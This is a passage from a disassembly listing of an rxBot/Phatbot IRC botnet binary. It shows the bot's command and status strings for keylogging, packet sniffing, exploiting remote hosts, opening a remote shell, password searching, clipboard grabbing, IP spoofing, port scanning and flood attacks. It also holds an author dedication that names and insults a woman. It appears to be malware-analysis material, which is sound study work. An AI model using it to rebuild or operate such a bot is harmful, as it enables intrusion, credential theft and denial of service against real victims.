XREF: .nsp0:004065C9o align 10h aMv db 'mv',0 ; DATA XREF: .nsp0:004065B2o align 4 aRename db 'rename',0 ; DATA XREF: .nsp0:0040659Bo align 4 aFindfile db 'findfile',0 ; DATA XREF: .nsp0:0040656Do align 4 aExecute db 'execute',0 ; DATA XREF: .nsp0:0040653Fo aU11p db 'u11p',0 ; DATA XREF: .nsp0:00406528o align 4 aUpdate db 'update',0 ; DATA XREF: .nsp0:00406511o align 10h aDe db 'de',0 ; DATA XREF: .nsp0:004064FAo align 4 aDelay db 'delay',0 ; DATA XREF: .nsp0:004064E3o align 4 aRp db 'rp',0 ; DATA XREF: .nsp0:004064CCo align 10h aRepeat db 'repeat',0 ; DATA XREF: .nsp0:004064B5o ; .nsp0:0040862Co align 4 aTsn db 'tsn',0 ; DATA XREF: .nsp0:0040649Eo aTsunami db 'tsunami',0 ; DATA XREF: .nsp0:00406487o aT3 db 't3',0 ; DATA XREF: .nsp0:00406470o align 4 aTarga3 db 'targa3',0 ; DATA XREF: .nsp0:00406459o align 10h aC_p db 'c_p',0 ; DATA XREF: .nsp0:00406442o aC_part db 'c_part',0 ; DATA XREF: .nsp0:0040642Bo align 4 aC_j db 'c_j',0 ; DATA XREF: .nsp0:00406414o aC_join db 'c_join',0 ; DATA XREF: .nsp0:004063FDo align 4 aC_n db 'c_n',0 ; DATA XREF: .nsp0:004063E6o aC_nick db 'c_nick',0 ; DATA XREF: .nsp0:004063CFo align 4 aC_m db 'c_m',0 ; DATA XREF: .nsp0:004063B8o aC_mode db 'c_mode',0 ; DATA XREF: .nsp0:004063A1o align 10h aC_r db 'c_r',0 ; DATA XREF: .nsp0:0040638Ao aC_raw db 'c_raw',0 ; DATA XREF: .nsp0:00406373o align 4 aCy db 'cy',0 ; DATA XREF: .nsp0:0040632Eo align 10h aCycle db 'cycle',0 ; DATA XREF: .nsp0:00406317o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: .nsp0:004062BBo aAddalias db 'addalias',0 ; DATA XREF: .nsp0:0040628Do align 4 aKl db 'kl',0 ; DATA XREF: .nsp0:00406276o align 10h aKilllog db 'killlog',0 ; DATA XREF: .nsp0:0040625Fo aGh db 'gh',0 ; DATA XREF: .nsp0:00406236o align 4 aGethost db 'gethost',0 ; DATA XREF: .nsp0:00406221o aCap db 'cap',0 ; DATA XREF: .nsp0:0040620Co unk_431B28 db 2Dh ; - ; DATA XREF: .nsp0:loc_4061ECo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_431B44 db 2Dh ; - ; DATA XREF: .nsp0:loc_4061E2o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: .nsp0:004061A0o ; sub_409A6D+5F0o align 10h unk_431B70 db 2Dh ; - ; DATA XREF: .nsp0:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 10h unk_431B90 db 2Dh ; - ; DATA XREF: .nsp0:00406189o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 aUser db 'user',0 ; DATA XREF: .nsp0:004060FFo align 4 unk_431BB8 db 2Dh ; - ; DATA XREF: .nsp0:loc_4060F2o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_431BD8 db 2Dh ; - ; DATA XREF: .nsp0:004060E8o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 aShare db 'share',0 ; DATA XREF: .nsp0:00406085o align 4 aPause db 'pause',0 ; DATA XREF: .nsp0:00406031o align 4 aStop db 'stop',0 ; DATA XREF: .nsp0:00406017o align 4 unk_431C14 db 2Dh ; - ; DATA XREF: .nsp0:loc_40600Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_431C34 db 2Dh ; - ; DATA XREF: .nsp0:00406000o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 unk_431C58 db 2Dh ; - ; DATA XREF: .nsp0:00405F7Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 dword_431C90 dd 234032Dh, 6C79656Bh, 302676FhaFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_431CCC dd 234032Dh, 6C79656Bh, 302676FhaKeyLoggerActiv db '- Key logger active.',0 align 10h dword_431CF0 dd 234032Dh, 6C79656Bh, 302676FhaAlreadyRunning db '- Already running.',0 align 10h dword_431D10 dd 234032Dh, 6C79656Bh, 302676FhaNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_431D3C dd 234032Dh, 6C79656Bh, 302676FhaKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aKeylog db 'keylog',0 ; DATA XREF: .nsp0:00405DE0o align 10h unk_431D80 db 2Dh ; - ; DATA XREF: .nsp0:loc_405DD5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_431DB0 db 2Dh ; - ; DATA XREF: .nsp0:00405DCBo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_431DF0 db 2Dh ; - ; DATA XREF: .nsp0:00405D9Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_16 db '- Failed to start sniffer thread, error: <%d>.',0 unk_431E2C db 2Dh ; - ; DATA XREF: .nsp0:00405D2Co db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 4 unk_431E5C db 2Dh ; - ; DATA XREF: .nsp0:00405CC8o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_0 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: .nsp0:00405C91o dword_431E84 dd 234032Dh, 696E7370h, 3026666haNoCarnivoreThr db '- No Carnivore thread found.',0 align 10h dword_431EB0 dd 234032Dh, 696E7370h, 3026666haCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_431EEC dd 234032Dh, 696E7370h, 3026666haFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_431F28 dd 234032Dh, 696E7370h, 3026666haCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_431F58 dd 234032Dh, 696E7370h, 3026666haAlreadyRunni_1 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: .nsp0:00405B59o ; .nsp0:00405CA8o ... align 4 aPsniff db 'psniff',0 ; DATA XREF: .nsp0:00405B42o align 4 aRf db 'rf',0 ; DATA XREF: .nsp0:00405B2Do align 4 aReadfile db 'readfile',0 ; DATA XREF: .nsp0:00405B18o align 4 aCm db 'cm',0 ; DATA XREF: .nsp0:00405B03o align 4 aCmd db 'cmd',0 ; DATA XREF: .nsp0:00405AEEo aMirccmd db 'mirccmd',0 ; DATA XREF: .nsp0:00405AC4o aVisit db 'visit',0 ; DATA XREF: .nsp0:00405A9Ao align 4 aLi db 'li',0 ; DATA XREF: .nsp0:00405A85o align 10h aList db 'list',0 ; DATA XREF: .nsp0:00405A70o align 4 aGt db 'gt',0 ; DATA XREF: .nsp0:00405A5Bo align 4 aDel db 'del',0 ; DATA XREF: .nsp0:00405A31o aDelete db 'delete',0 ; DATA XREF: .nsp0:00405A1Co ; .nsp0:00406068o align 4 aKi db 'ki',0 ; DATA XREF: .nsp0:00405A07o align 4 aKp db 'kp',0 ; DATA XREF: .nsp0:004059DDo align 10h aKillproc db 'killproc',0 ; DATA XREF: .nsp0:004059C8o align 4 aDn db 'dn',0 ; DATA XREF: .nsp0:004059B3o align 10h aDns db 'dns',0 ; DATA XREF: .nsp0:0040599Eo aSe db 'se',0 ; DATA XREF: .nsp0:00405989o align 4 aPr db 'pr',0 ; DATA XREF: .nsp0:00405935o align 4 aPrefix db 'prefix',0 ; DATA XREF: .nsp0:00405920o align 4 aC_rn db 'c_rn',0 ; DATA XREF: .nsp0:0040590Bo align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: .nsp0:004058F6o align 4 aC_q db 'c_q',0 ; DATA XREF: .nsp0:004058E1o aC_quit db 'c_quit',0 ; DATA XREF: .nsp0:004058CCo align 4 aKillthread db 'killthread',0 ; DATA XREF: .nsp0:004058A2o align 10h aRaw db 'raw',0 ; DATA XREF: .nsp0:00405878o aPt db 'pt',0 ; DATA XREF: .nsp0:00405863o align 4 unk_432028 db 2Dh ; - ; DATA XREF: .nsp0:004057DBo db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 10h aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: .nsp0:00405777o aRegister db 'register',0 ; DATA XREF: .nsp0:0040574Eo align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: .nsp0:004056F5o align 4 aMix db 'mix',0 ; DATA XREF: .nsp0:0040562Bo dword_432088 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: .nsp0:004055D7o ; .nsp0:0040560Eo dd 0 dword_4320A0 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: .nsp0:004055A0o dd 1 dword_4320B8 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: .nsp0:00405569o ; .nsp0:0040567Do aCtcp db 'ctcp',0 ; DATA XREF: .nsp0:00405517o align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: .nsp0:00405482o ; .nsp0:004054BEo ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: .nsp0:0040542Bo align 4 aMsg db 'msg',0 ; DATA XREF: .nsp0:0040533Fo aChgnick db 'chgnick',0 ; DATA XREF: .nsp0:004052F9o aNick_0 db 'nick',0 ; DATA XREF: .nsp0:004051FCo ; .nsp0:004057FAo align 10h dword_432100 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: .nsp0:004051DFo dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_432128 dd 636364h dword_43212C dd 6E696F6Ah, 7261702Fh, 74hdword_432138 dd 4B43494Eh, 732520h ; .nsp0:00405256o ... dword_432140 dd 69257325h, 0 ; sub_40AC10+4Eo ... aPnick db 'pnick',0 ; DATA XREF: .nsp0:00404FA6o align 10h aPartSS db 'part %s %s',0 ; DATA XREF: .nsp0:00404F89o ; .nsp0:00405072o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: .nsp0:00404F62o align 4 aPartS db 'part %s',0 ; DATA XREF: .nsp0:00404F45o aPart_0 db 'part',0 ; DATA XREF: .nsp0:00404F23o ; .nsp0:0040584Eo align 4 aJoinS db 'join %s',0 ; DATA XREF: .nsp0:00404F06o ; .nsp0:00405049o ... aJoin db 'join',0 ; DATA XREF: .nsp0:00404EE4o ; .nsp0:00405824o align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: .nsp0:00404EC7o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: .nsp0:00404E5Eo align 4 aNt db 'nt',0 ; DATA XREF: .nsp0:00404E12o align 4 dword_4321A8 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0dword_4321BC dd 7463h dword_4321C0 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; .nsp0:00405396o ... dword_4321D0 dd 5Fh ; .nsp0:00404DC9o ... dword_4321D4 dd 6D70h ; .nsp0:004062D2o unk_4321D8 db 2Dh ; - ; DATA XREF: .nsp0:00404D0Eo db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 4 aFlood db 'flood',0 ; DATA XREF: .nsp0:00404C91o align 4 aRinms db 'rinms',0 ; DATA XREF: .nsp0:00404C7Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: .nsp0:00404C65o aRin db 'rin',0 ; DATA XREF: .nsp0:00404C50o aReconnect_in db 'reconnect.in',0 ; DATA XREF: .nsp0:00404C3Bo align 4 unk_432238 db 2Dh ; - ; DATA XREF: .nsp0:00404C30o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_432278 db 2Dh ; - ; DATA XREF: .nsp0:00404BBEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: .nsp0:00404B41o unk_4322B0 db 2Dh ; - ; DATA XREF: .nsp0:00404B23o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_4322DC db 2Dh ; - ; DATA XREF: .nsp0:00404AF9o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: .nsp0:00404AC1o align 4 unk_43231C db 2Dh ; - ; DATA XREF: .nsp0:00404A68o ; .nsp0:00404AD9o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: .nsp0:loc_404A46o ; .nsp0:00405A46o unk_432358 db 2Dh ; - ; DATA XREF: .nsp0:004049D4o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_432384 db 2Dh ; - ; DATA XREF: .nsp0:004049C9o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 10h dword_4323B0 dd 234032Dh, 6E69616Dh, 202D0302h, 7325hunk_4323C0 db 2Dh ; - ; DATA XREF: .nsp0:loc_404965o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 10h dword_432470 dd 234032Dh, 75636573h, 3026572haFailedToSta_18 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_4324AC dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: .nsp0:004048C8o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: .nsp0:004048C2o align 4 aSecuring db 'Securing',0 ; DATA XREF: .nsp0:004048BBo align 10h unk_4324E0 db 2Dh ; - ; DATA XREF: .nsp0:00404844o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_19 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_432520 db 2Dh ; - ; DATA XREF: .nsp0:004047C0o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_43254C dd 234032Dh, 6B636F73h, 3023473haFailedToSta_20 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_432588 dd 234032Dh, 6B636F73h, 3023473h ; .nsp0:00411877o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_4325B0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302hdword_4325C0 dd 646E6946h, 6C696620h, 65hdword_4325CC dd 234032Dh, 636F7270h, 2D030273h, 0dword_4325DC dd 636F7250h, 20737365h, 7473696Ch, 0dword_4325EC dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: .nsp0:0040458Co dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_40457Fo ; .nsp0:loc_4096E5o ... align 10h dword_432620 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: .nsp0:0040456Ao dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_40455Do align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_404547o ; .nsp0:004094C4o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00404535o align 10h unk_432670 db 2Dh ; - ; DATA XREF: .nsp0:004044E9o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 4 dword_43269C dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: .nsp0:004044ABo dd 2E7325h unk_4326B4 db 2Dh ; - ; DATA XREF: .nsp0:00404496o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_21 db '- Failed to start list thread, error: <%d>.',0 align 10h dword_4326F0 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: .nsp0:00404427o dd 65726874h, 2E736461h, 0 dword_432710 dd 627573h dword_432714 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: .nsp0:004043AFo dd 2E7473h unk_43272C db 2Dh ; - ; DATA XREF: .nsp0:00404394o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_22 db '- Failed to start listing thread, error: <%d>.',0 dword_432764 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: .nsp0:00404307o dd 2E676Fh dword_43277C dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: .nsp0:00404283o dd 6F666E49h, 2Eh dword_432798 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: .nsp0:00404254o dd 2E6F666Eh, 0 dword_4327B4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: .nsp0:004041FFo dd 746F4220h, 2Eh unk_4327D0 db 2Dh ; - ; DATA XREF: .nsp0:004041E3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_23 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_43280C dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: .nsp0:0040416Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: .nsp0:0040414Eo align 10h unk_432830 db 2Dh ; - ; DATA XREF: .nsp0:004040ECo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_2 db ' Already running.',0 align 10h dword_432850 dd 234032Dh, 656B6463h, 3027379haSearchComplete db '- Search completed.',0 dword_432870 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: .nsp0:00404074o dd 2E7325h unk_432888 db 2Dh ; - ; DATA XREF: .nsp0:loc_403FE5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_4328A8 db 2Dh ; - ; DATA XREF: .nsp0:00403FDBo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 10h unk_4328D0 db 2Dh ; - ; DATA XREF: .nsp0:00403FBCo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 dword_4328FC dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: .nsp0:00403FA6o dd 72616F62h, 2E64h dword_432918 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: .nsp0:00403F78o dd 2Dh unk_432930 db 2Dh ; - ; DATA XREF: .nsp0:loc_403F68o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_43295C db 2Dh ; - ; DATA XREF: .nsp0:00403F61o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 10h unk_432980 db 2Dh ; - ; DATA XREF: .nsp0:loc_403F3Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_4329AC db 2Dh ; - ; DATA XREF: .nsp0:loc_403F36o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_4329D8 db 2Dh ; - ; DATA XREF: .nsp0:00403F2Fo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_4329FC db 2Dh ; - ; DATA XREF: .nsp0:00403EC2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_24 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_432A38 db 2Dh ; - ; DATA XREF: .nsp0:00403E57o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_432A74 db 2Dh ; - ; DATA XREF: .nsp0:00403D8Eo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_25 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_432AB0 db 2Dh ; - ; DATA XREF: .nsp0:00403D1Fo ; sub_40B9DD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_432AEC db 2Dh ; - ; DATA XREF: .nsp0:00403C18o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_432B28 db 2Dh ; - ; DATA XREF: .nsp0:00403BA9o ; sub_40B9DD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_432B5C db 2Dh ; - ; DATA XREF: .nsp0:00403AF7o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 unk_432B7C db 2Dh ; - ; DATA XREF: .nsp0:loc_403AE1o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_27 db '- Failed to start scan, port is invalid.',0 align 4 unk_432BB4 db 2Dh ; - ; DATA XREF: .nsp0:00403A91o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan thread, error: <%d>.',0 align 10h unk_432BF0 db 2Dh ; - ; DATA XREF: .nsp0:00403A20o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: .nsp0:004039F5o ; .nsp0:00407651o align 4 aRandom db 'Random',0 ; DATA XREF: .nsp0:004039EEo ; .nsp0:0040764Ao align 10h unk_432C70 db 2Dh ; - ; DATA XREF: .nsp0:0040383Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_432CB0 db 2Dh ; - ; DATA XREF: .nsp0:004037DDo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_29 db 'Failed to start search thread, error: <%d>.',0 unk_432CEC db 2Dh ; - ; DATA XREF: .nsp0:0040374Bo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: .nsp0:0040371Do align 4 aFindpass db 'findpass',0 ; DATA XREF: .nsp0:0040370Co align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: .nsp0:004036F9o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: .nsp0:004036E2o align 4 aVall db 'vall',0 ; DATA XREF: .nsp0:004036CDo align 4 aScanall db 'scanall',0 ; DATA XREF: .nsp0:004036B8o dword_432D64 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: .nsp0:00403668o dd 746F6220h, 2Eh aCrassh db 'crassh',0 ; DATA XREF: .nsp0:00403652o align 4 aTftp db 'tftp',0 ; DATA XREF: .nsp0:0040363Do align 10h aTftpserver db 'tftpserver',0 ; DATA XREF: .nsp0:00403628o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: .nsp0:004035FEo align 4 aRlogin db 'rlogin',0 ; DATA XREF: .nsp0:004035E9o align 10h aRloginserver db 'rloginserver',0 ; DATA XREF: .nsp0:004035D4o align 10h aCip db 'cip',0 ; DATA XREF: .nsp0:004035BFo aCurrentip db 'currentip',0 ; DATA XREF: .nsp0:004035AAo align 10h aFdns db 'fdns',0 ; DATA XREF: .nsp0:00403595o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: .nsp0:00403580o align 4 aFarp db 'farp',0 ; DATA XREF: .nsp0:0040356Bo align 4 aFlusharp db 'flusharp',0 ; DATA XREF: .nsp0:00403556o align 4 aGc db 'gc',0 ; DATA XREF: .nsp0:00403541o align 4 aGetclip db 'getclip',0 ; DATA XREF: .nsp0:0040352Co unk_432E04 db 2Dh ; - ; DATA XREF: .nsp0:004034EEo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: .nsp0:004034D3o ; .nsp0:00405794o ... aSpoof db 'spoof',0 ; DATA XREF: .nsp0:004034BCo align 4 unk_432E38 db 2Dh ; - ; DATA XREF: .nsp0:0040349Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: .nsp0:00403477o align 4 aEmpty db '<Empty>',0 ; DATA XREF: .nsp0:loc_40346Ao dword_432E6C dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: .nsp0:0040344Ao dword_432E80 dd 6F6877h dword_432E84 dd 234032Dh, 2646D63h, 2D03hdword_432E90 dd 6F6D6552h, 73206574h, 6C6C6568h, 0aCmdstop db 'cmdstop',0 ; DATA XREF: .nsp0:00403404o aOcmd db 'ocmd',0 ; DATA XREF: .nsp0:004033EFo align 10h aOpencmd db 'opencmd',0 ; DATA XREF: .nsp0:004033DAo aDll db 'dll',0 ; DATA XREF: .nsp0:004033C5o aTestdlls db 'testdlls',0 ; DATA XREF: .nsp0:004033B0o align 4 aDrv db 'drv',0 ; DATA XREF: .nsp0:0040339Bo aDriveinfo db 